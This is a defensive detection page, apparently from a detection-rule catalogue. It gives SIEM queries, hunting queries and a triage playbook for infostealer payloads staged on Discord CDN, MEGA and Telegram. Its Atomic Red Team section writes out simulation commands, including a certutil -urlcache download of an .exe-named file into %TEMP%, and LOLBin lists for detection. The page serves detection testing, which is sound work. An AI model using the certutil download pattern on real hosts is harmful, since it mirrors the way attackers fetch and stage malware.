Detect Malware Payloads Staged on Abused Legitimate CDN/File-Sharing Services in Sumo Logic CSE
Loader-as-a-service operators and commodity infostealer distributors increasingly stage second- and third-stage payloads on trusted, high-reputation CDN and file-sharing infrastructure — most commonly Discord's attachment CDN (cdn.discordapp.com / media.discordapp.net), MEGA.nz, and Telegram's file API — rather than adversary-registered domains. Because these hostnames are broadly allowlisted by web filters, blend into ordinary user traffic, and offer free, effectively anonymous hosting with no registration paperwork, actors such as Storm-1113 (DarkGate loader distribution), Lumma Stealer, and Vidar operators use them as durable staging points for stage-2 payloads delivered via malvertising, cracked-software lures, and SEO-poisoned search results. Because the domain itself is never flagged as malicious, defenders must pivot detection away from domain reputation and onto the combination of requesting process, retrieved content-type, and download cadence. Detection focuses on three pillars: (1) non-browser processes (script hosts, LOLBins, unsigned binaries) issuing HTTPS requests to these CDN hostnames, (2) executable/archive content-types being retrieved from paths that are normally used for images/media, and (3) newly-created local files immediately following such a download that are then executed.
MITRE ATT&CK
- Tactic
- Resource Development
Sumo Detection Query
_sourceCategory=*proxy* OR _sourceCategory=*sysmon*
| json auto
| where url matches "*cdn.discordapp.com*" or url matches "*media.discordapp.net*" or url matches "*mega.nz*" or url matches "*telegram.org*" or url matches "*t.me*"
| eval ProcessName = lower(coalesce(process_name, Image, "unknown"))
| where !matches(ProcessName, "chrome|msedge|firefox|brave|opera|discord\.exe")
| eval IsPayloadExt = if(matches(url, "\.(exe|dll|zip|rar|7z)"), "true", "false")
| eval RiskScore = if(IsPayloadExt = "true", 75, 55)
| where RiskScore >= 55
| stats count as Requests, values(url) as SampleUrls by _sourceHost, ProcessName, RiskScore
| sort by RiskScore descSumo Logic detection combining proxy and Sysmon telemetry to identify non-browser processes retrieving content from Discord CDN, MEGA, or Telegram file-hosting hostnames, with elevated scoring when the URL references a payload-style extension.
Data Sources
Required Tables
False Positives & Tuning
- Discord desktop application update and attachment retrieval
- Legitimate MEGA/Telegram automation for file transfer
- Browser extensions or helper processes that are not the main browser executable
Other platforms for THREAT-Infra-CDNMalwareStaging
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Non-Browser Process Requesting Discord CDN Hostname
Expected signal: Sysmon Event ID 3 / DeviceNetworkEvents: outbound connection from powershell.exe to cdn.discordapp.com. Sysmon Event ID 11: file creation at atomic_test_dl.tmp immediately following the request.
- Test 2Certutil Payload-Style Retrieval Referencing Staging Host and Executable Extension
Expected signal: Sysmon Event ID 1: certutil.exe with -urlcache -split -f and a discordapp.com URL ending in .exe in CommandLine. Sysmon Event ID 3 for the outbound connection. Request will likely 404 but the command-line pattern and connection attempt are logged regardless.
- Test 3MSHTA Reference to MEGA File-Hosting Archive Path
Expected signal: Sysmon Event ID 1: mshta.exe with CommandLine containing 'mega.nz' and '.zip'. No actual network connection to MEGA occurs since the URL is embedded in an inert JavaScript comment, but the command-line telemetry is captured.
References (5)
- https://attack.mitre.org/techniques/T1608/001/
- https://attack.mitre.org/tactics/TA0042/
- https://www.microsoft.com/en-us/security/blog/2024/05/28/malware-distributor-storm-1113-uses-fake-cdn-landing-pages-to-lure-victims/
- https://www.trendmicro.com/en_us/research/23/discord-cdn-abuse-malware-delivery.html
- https://www.sophos.com/en-us/threat-center/threat-monitoring/threat-analyses/discord-content-delivery-network-abuse
Response Playbook
Triage
- Identify the initiating process for the connection: is it a browser, the legitimate Discord desktop client, or an unrelated process (script host, LOLBin, unsigned binary)? A non-browser/non-Discord process reaching these hosts is the primary signal.
- Retrieve the full URL/command line and determine the resource requested — does the path or query string reference an executable, archive, or obfuscated filename rather than a typical image/attachment path?
- Check whether a file was written to disk immediately following the network request (within 1-2 minutes) via DeviceFileEvents/Sysmon Event ID 11, and inspect its extension, size, and hash.
- If a file was written, check whether it was subsequently executed (Sysmon Event ID 1 / DeviceProcessEvents) and by which parent process — execution shortly after download is high-confidence staging-to-execution chaining.
- Submit the downloaded file's hash to VirusTotal or an internal sandbox; also resolve the specific CDN attachment ID/MEGA share link independently (from an isolated analysis host) to observe the served content.
- Determine the delivery vector that led to the download: was it preceded by a phishing email, a malicious ad click, or a cracked-software/SEO-poisoned search result? Check browser history and recent DNS queries.
- Check for other internal hosts that accessed the same specific attachment URL/MEGA share ID/Telegram file ID — a shared unique link across multiple hosts indicates a mass distribution campaign, not one-off user behavior.
Containment
- Isolate the affected endpoint via EDR network isolation pending analysis of the retrieved payload.
- Block the specific attachment/share URL (not the entire CDN domain, which would break legitimate Discord/MEGA/Telegram functionality) at the web proxy or firewall.
- If the downloaded file was executed, treat the host as compromised: capture memory/disk forensics, then reimage or thoroughly remediate before returning to service.
- Reset credentials for any user active on the host at time of execution, particularly if the payload class (from sandbox detonation) is an infostealer.
- Hunt across the environment for the same file hash, C2 indicators observed during detonation, and the same staging URL to scope the full blast radius.
- If the entry vector was malvertising or SEO poisoning, report the offending ad/search result to the ad network or search engine and add the referring domain to web filtering blocklists.
Evidence Collection
- DeviceNetworkEvents/proxy logs: full URL, destination IP, initiating process, and timestamp for the CDN/file-hosting request.
- Sysmon Event ID 11 (file creation): path, hash, and size of any file written immediately after the network request.
- Sysmon Event ID 1 (process creation) for both the retrieval process and any subsequent execution of the downloaded file, including full command lines and parent-child chain.
- Browser history and download manager artifacts (if retrieval occurred via browser rather than script) showing the referring page that linked to the CDN/file-hosting URL.
- The retrieved payload itself, hashed and submitted to sandboxing, with static analysis of imports/strings for C2 configuration.
- DNS query logs for the staging hostname in the hours preceding the request, to establish whether this was a fresh or previously-cached resolution.
Escalation Criteria
- !The downloaded file was executed and exhibits infostealer or loader behavior in sandbox analysis (credential access, C2 beaconing, additional payload retrieval).
- !The same unique attachment/share/file ID was accessed by multiple internal hosts within a short window, indicating an active mass-distribution campaign.
- !The retrieval process is a known LOLBin invoked with obfuscated or encoded command-line arguments in addition to referencing the staging host.
- !Sandbox detonation reveals C2 infrastructure or configuration consistent with a known loader-as-a-service platform (e.g., DarkGate/Storm-1113 patterns).
- !The affected host has privileged access (domain admin session, financial system access) at the time of execution.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sysmon Event ID 3 (Network Connection) and Event ID 22 (DNS Query) for the staging hostname, correlated by ProcessGuid to the initiating process. - >
Sysmon Event ID 11 (File Create) for the downloaded artifact's path, hash, and creation timestamp. - >
Web proxy access logs recording the full request URL, including the unique CDN attachment ID, MEGA share key, or Telegram file_id — critical for pivoting to find other victims of the same campaign. - >
Browser cache/history (SQLite) if the download was interactive, showing the referring page and click path. - >
Prefetch entries for the retrieval LOLBin (e.g., CERTUTIL.EXE-*.pf, POWERSHELL.EXE-*.pf) confirming execution and approximate run count. - >
Any locally-cached copy of the payload for static/dynamic malware analysis.
Tuning Guidance
This detection has structurally higher false-positive potential than domain-reputation-based detections because the underlying hostnames (Discord, MEGA, Telegram) are themselves entirely legitimate and widely used by employees. Tuning recommendations: (1) Build a process allowlist for the organization's actual Discord desktop client path and any approved bot/integration service accounts, since Pillar 1 alone will otherwise flag normal Discord usage; (2) For Pillar 2, require that the LOLBin command line reference BOTH a staging hostname AND an executable/archive-oriented flag or extension — loosen this only for a temporary broad hunt, not for the standing alert; (3) Maintain a short list of approved automation that legitimately uses MEGA/Telegram file APIs (e.g., backup jobs, chatops bots) and exclude their known service-account identities/process names; (4) Prioritize alerts where the retrieval process additionally makes a first-seen or rare parent-child relationship (e.g., an Office document spawning mshta.exe which then reaches Discord CDN) — this combination is rarely legitimate; (5) Where available, enrich with a threat intelligence feed of known-malicious CDN attachment IDs/MEGA share keys from vendor reporting on Storm-1113/DarkGate and similar loader campaigns to convert this from a behavioral hunt into a high-confidence IOC match.
Hunting Queries
Broad hunt for any LOLBin command line referencing Discord/MEGA/Telegram hostnames, without requiring an executable/archive extension match — catches obfuscated or renamed payload retrievals that the primary detection's extension check would miss. Review sample command lines manually; legitimate automation referencing these hosts (e.g., internal Discord webhook integrations) should be added to an allowlist.
// Hunt: LOLBins referencing CDN/file-hosting hostnames in command line, regardless of file extension match
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("powershell.exe","certutil.exe","bitsadmin.exe","mshta.exe","wscript.exe","cscript.exe","curl.exe")
| where ProcessCommandLine has_any ("discordapp", "discord.com", "mega.nz", "mega.co.nz", "telegram.org", "t.me")
| summarize Count=count(), Devices=make_set(DeviceName, 10), SampleCmd=any(ProcessCommandLine) by FileName
| order by Count descindex=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
Image IN ("*\\powershell.exe","*\\certutil.exe","*\\bitsadmin.exe","*\\mshta.exe","*\\wscript.exe","*\\cscript.exe","*\\curl.exe")
(CommandLine="*discordapp*" OR CommandLine="*discord.com*" OR CommandLine="*mega.nz*" OR CommandLine="*mega.co.nz*" OR CommandLine="*telegram.org*" OR CommandLine="*t.me*")
| stats count as Count, dc(host) as UniqueHosts, values(host) as Devices by Image
| sort - CountHunt for a single specific CDN attachment path accessed by three or more distinct internal devices — since each Discord attachment URL is unique to a specific uploaded file, multiple hosts pulling the identical path is a strong indicator of a shared phishing lure or malvertising campaign distributing the same payload, rather than incidental per-user Discord usage.
// Hunt: Repeated distinct attachment/share IDs from the same CDN host across many devices (mass-distribution indicator)
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any ("cdn.discordapp.com", "media.discordapp.net")
| extend AttachmentPath = extract(@"discordapp\.(?:com|net)(/[^\s\"']+)", 1, RemoteUrl)
| summarize UniqueDevices=dcount(DeviceName), Devices=make_set(DeviceName, 20) by AttachmentPath
| where UniqueDevices >= 3
| order by UniqueDevices descindex=proxy (url="*cdn.discordapp.com*" OR url="*media.discordapp.net*")
| rex field=url "discordapp\.(?:com|net)(?<AttachmentPath>/\S+)"
| stats dc(host) as UniqueDevices, values(host) as Devices by AttachmentPath
| where UniqueDevices >= 3
| sort - UniqueDevicesAtomic Red Team Tests
Uses PowerShell's Invoke-WebRequest to fetch a benign resource from Discord's CDN hostname, simulating the network pattern generated when a script host or LOLBin retrieves a staged payload rather than a user's browser loading an attachment inline.
Command
powershell.exe -Command "try { Invoke-WebRequest -Uri 'https://cdn.discordapp.com/robots.txt' -UseBasicParsing -OutFile $env:TEMP\atomic_test_dl.tmp } catch { Write-Output 'Request attempted - check DeviceNetworkEvents' }"Cleanup
Remove-Item $env:TEMP\atomic_test_dl.tmp -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 3 / DeviceNetworkEvents: outbound connection from powershell.exe to cdn.discordapp.com. Sysmon Event ID 11: file creation at atomic_test_dl.tmp immediately following the request.
Expected Detection
KQL/SPL Pillar 1 fires on InitiatingProcessFileName=powershell.exe (not in the browser allowlist) reaching cdn.discordapp.com, SuspicionReason=NonBrowserProcessToCDN.
Invokes certutil with a URL cache flag referencing a Discord CDN-style path ending in .exe, simulating the classic certutil -urlcache LOLBin payload download technique pointed at abused CDN infrastructure rather than an adversary domain.
Command
certutil.exe -urlcache -split -f "https://cdn.discordapp.com/attachments/000000000000000000/000000000000000000/update.exe" %TEMP%\atomic_update.exeCleanup
del %TEMP%\atomic_update.exeExpected Telemetry
Sysmon Event ID 1: certutil.exe with -urlcache -split -f and a discordapp.com URL ending in .exe in CommandLine. Sysmon Event ID 3 for the outbound connection. Request will likely 404 but the command-line pattern and connection attempt are logged regardless.
Expected Detection
KQL/SPL Pillar 2 fires on FileName=certutil.exe with CommandLine matching both a staging hostname and a .exe reference, SuspicionReason=LOLBinPayloadDownload.
Launches mshta.exe with a command-line argument referencing a MEGA.nz file link ending in a .zip-style path, simulating a script-based payload stager pulling a packaged malware archive from MEGA rather than executing an HTA payload directly.
Command
mshta.exe "javascript:void(0);/*https://mega.nz/file/atomictest123#key/payload.zip*/"Expected Telemetry
Sysmon Event ID 1: mshta.exe with CommandLine containing 'mega.nz' and '.zip'. No actual network connection to MEGA occurs since the URL is embedded in an inert JavaScript comment, but the command-line telemetry is captured.
Expected Detection
KQL/SPL Pillar 2 fires on FileName=mshta.exe with CommandLine matching mega.nz and .zip, SuspicionReason=LOLBinPayloadDownload. Hunting query for LOLBin-to-hostname references also matches regardless of extension.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.